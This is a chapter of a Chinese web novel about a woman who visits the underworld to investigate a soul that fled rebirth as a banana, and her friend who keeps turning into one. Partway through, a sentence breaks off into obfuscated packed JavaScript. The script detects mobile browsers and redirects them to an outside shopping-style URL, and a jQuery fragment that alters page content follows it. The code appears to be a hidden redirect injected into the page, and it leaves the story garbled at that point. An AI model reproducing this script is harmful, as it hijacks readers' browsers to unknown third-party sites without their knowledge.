决定从今以后做一根香蕉。
用厚厚的香蕉皮裹住自己,不闻世间事。
*
曹喜桃和山榕来到秦皮皮的家。
“还要去地府吗?”山榕将背上的秦皮皮放到沙发上,惦记着曹喜桃那惊天动地的话。
“去,”曹喜桃看了眼昏迷的秦皮皮,声音很轻。
“我能一起吗?”
“你去干什么?”曹喜桃没看他一眼,也没给机会,在他身旁消失。
*
不知道她是怎么前往的,一眨眼功夫就出现在地府里。感受一阵阵热浪,脚踩炙热的石头地,听到“咣咣咣”声,像是铁锤砸铜鼎的声,曹喜桃走在渺茫又偌大的地府里。
青面獠牙的鬼差从身边经过。
疑惑地看过来——曹喜桃避讳着它们,从怀里拿出一张符箓,告诉他们自己是受地府委托,过来帮他们办事的。
鬼差走开了,放过曹喜桃。
曹喜桃也来到阎王殿前。
遥见绿色的两个大柱子里面红光闪烁,顶上一个巨大的黑色牌匾,两个青色灯笼浮在半空。
“是有人在受审?”曹喜桃左顾右盼,盼不见有人前来接应自己,也不好走进去打搅,只好面向那两个灯笼。
它们仿若长了耳朵,能听到话,游过来,像是在问她:“过来干什么?”
“我收到你们的符箓,说要我查香蕉出逃这个案子,我想问这香蕉指的是什么人,有详细记录吗?”
灯笼微微往前倾。
是点头的意思?曹喜桃惊疑不定地注视一会儿,没见它们有别的行动,但喃喃自语:“灯芯是不是变大了?好像这灯亮了一点。”
不知道想到什么,缓缓把手探进灯笼。
好像在找东西,曹喜桃把胳膊都伸进去,在里面捞啊捞。没有感觉到热,只觉得自己像在摸一大片水纱,手指碰到一个硬硬的东西。
“会是我想要的吗?”将其拿出来。
在这过程中仿佛弄疼了灯笼——它不舒服地晃动身体,好像曹喜桃是从它的肠胃里抽出一个异物般,逃开,在角落里开始呕吐。
“.......”曹喜桃不去细究它在做什么,低头细瞧自己手里的东西,是个黑红色的簿子。
“我拿走了,可以吗?待会儿还回来?”
不可以——
灯笼回头,却无法留住她。
曹喜桃回到人间。
*
山榕左等右等,等到她回来,“怎么样了?在地府有收获吗?秦皮皮还没醒过来。”
“香蕉出逃一案的细节就在这个簿子里,”曹喜桃举起手里的东西。
“从地府带回来的?”山榕瞠目结舌地望着,“它们允许你带回来吗?我是说,那些鬼魂?”
“......允许吧,”曹喜桃貌似心虚。
打开簿子——
有关案件的来龙去脉出现在眼前。
*
是和一个人有关的。他的名字不重要,死在了半个月前,被判官判定下辈子要做一只香蕉。
香蕉?
是的。他十分抗拒,试问谁能接受呢?生前是一个有思考有行动能力的人,死后却被告知自己的下一世是一根香蕉,“不公平,不公平啊!”那人大呼,跪在阎王殿里,两旁是青红色的獠牙鬼差们。
“我不要做香蕉!这一共也没能活多久吧?而且香蕉多低等的存在啊,有别的选择吗?”
判官说没有,你生前做了太多错事,下辈子能成为香蕉已经很好了。
“我做什么错事了?”那人一脸茫然。
“你不知道?”判官发问。
那人冷汗直冒,赶紧低头,弓腰驼背,“我.......我不知道。”
“你这辈子脾气暴躁,阴晴不定,又酗酒,对妻子和孩子都造成严重的心理伤害。投胎做香蕉,被你伤害过的人中吃掉,是你应得的。”
“......能用钱买个好一点的命吗?”那人小小声说,伸手进自己的衣服,“我家里人给我烧了很多元宝。”
“带走,”判官不想再和这人多纠缠,向两旁的鬼差挥挥手——
那人被拖走了。
*
来到一个滚烫的油锅前,看到锅边站了很多人,排成很长一条队伍。
“这是哪儿?”他声音发抖,瞪着一双眼惊问旁边的鬼差。
鬼差不回答。
那人便用一个元宝买通他。
这次贿赂成功了——鬼差说:“他们都是和你一样,要投胎作水果的人。”
“那么多?!”他听着,心里悲喜交加。悲哀自己的下场还是没有改变,窃喜有那么多人陪他。所以也求问:“为什么有那么多人要当水果,他们都做了很多错事?”
“近几十年人间栽培瓜果蔬菜的技术变强了,收成的农作物变多了很多。”鬼差面无表情说。
“什么意思?”这和很多人要变成蔬菜水果有什么关系,“我要变成水果,和科学家、农民有关系吗?”
“没有特定关系。只是世道不一样了,老天爷记账越来越细。你尚在人间时,在大庭广众下抽了一根烟,公放视频,随地吐痰,这些行为都会影响到你这辈子的因果结算。”
烟、网络视频某程度上和培育出来的瓜果蔬菜一样,都是现代科技太发达而出现的产物。
人们享受的越多,欠的也就越多。
要变成香蕉的人默然。
眼见着排队下油锅的人在变少,听着“扑通”跳水声,他再次伸手进怀里,拿出所有金银珠宝:
“大哥,你帮帮我吧?我不想成为香蕉,你就让我离开吧?”
“这些钱都给你。”
哀求着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586775|205308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
鬼差答应了,“好。”
他收下那人递来的金银珠宝,拿在手里掂量几下,“你走吧。”
“真、真的?”那人往前半步,迟疑地回头。
“嗯。不接受判官的安排,想要逃走的鬼魂有很多,你不是第一个。地府的出口在西北方,别弄错了。”
那人点头,抓紧时间往西北方去。
鬼差也抓紧时间,去阎王殿告密。
*
这就是为什么,几个小时前曹喜桃会收到来自地府的符箓,叫她将出逃的香蕉捉回来。
“可不对呀,秦皮皮说她变成香蕉有一个多星期了,地府的鬼差也是第一时间出卖了那位香蕉人,怎么还是隔了这么长时间才让你来处理?”山榕说。
“香蕉人.......”曹喜桃听着他说,水涟涟的眸子便弯起,“地府的人很忙,虽然第一时间知道这事了,但出逃的鬼魂不止那香蕉一个,处理起来也要时间。”
山榕“哦”一声,心里却想会不会是地府的人故意的,想知道这位香蕉人能在人间掀起什么风浪。
“秦皮皮又是怎么回事?香蕉人出逃后躲在她身边了吗?”
“应该不是。”
曹喜桃拿出一个东西。
山榕以为是桃叶,却不想这次是符箓。
“你要做什么?”
“我想看她身体里是不是躲进了一个魂儿。”
曹喜桃将符箓贴在秦皮皮的手背上,一会儿功夫秦皮皮便又变成一根香蕉。
手掌那么长。
“这——”山榕望向曹喜桃。
发现曹喜桃脸上有吃惊,她盯着面前的香蕉,把手放在符箓上,“它在发热......这意味着符箓没有失效,藏在秦皮皮身体里的魂儿应该会跑出来。”
但现在身边空荡荡的,没看到那位不相识的人。
“是我看不见吗?”山榕张望四周。
“我也没看见,这说明那个魂儿不在秦皮皮身上,她没有被一个陌生鬼魂上身。现在时不时会变成香蕉是因为——”
“她承担了那个人的命运?”话没说完,山榕把话接上。
你知道?曹喜桃惊诧地望过去。
我猜对了?山榕对上她的视线。
一齐往沙发的方向看去。
秦皮皮醒了。
山榕说:“是因为工作压力太大了吗?你可以像我一样辞职,我拿了很大一笔——”
“补偿金,我知道。”秦皮皮打断他。
没有人逼她,她只是自己会觉得愧疚。仿佛请假或辞职就是懒惰的表现,不在职场上冲锋陷阵是不对的。
所以如今碰上邪门事,秦皮皮惊慌之余也有窃喜。
“我不能再工作了,无论是在哪家公司。”
可曹喜桃却说,“每个人都要承担自己的命运。”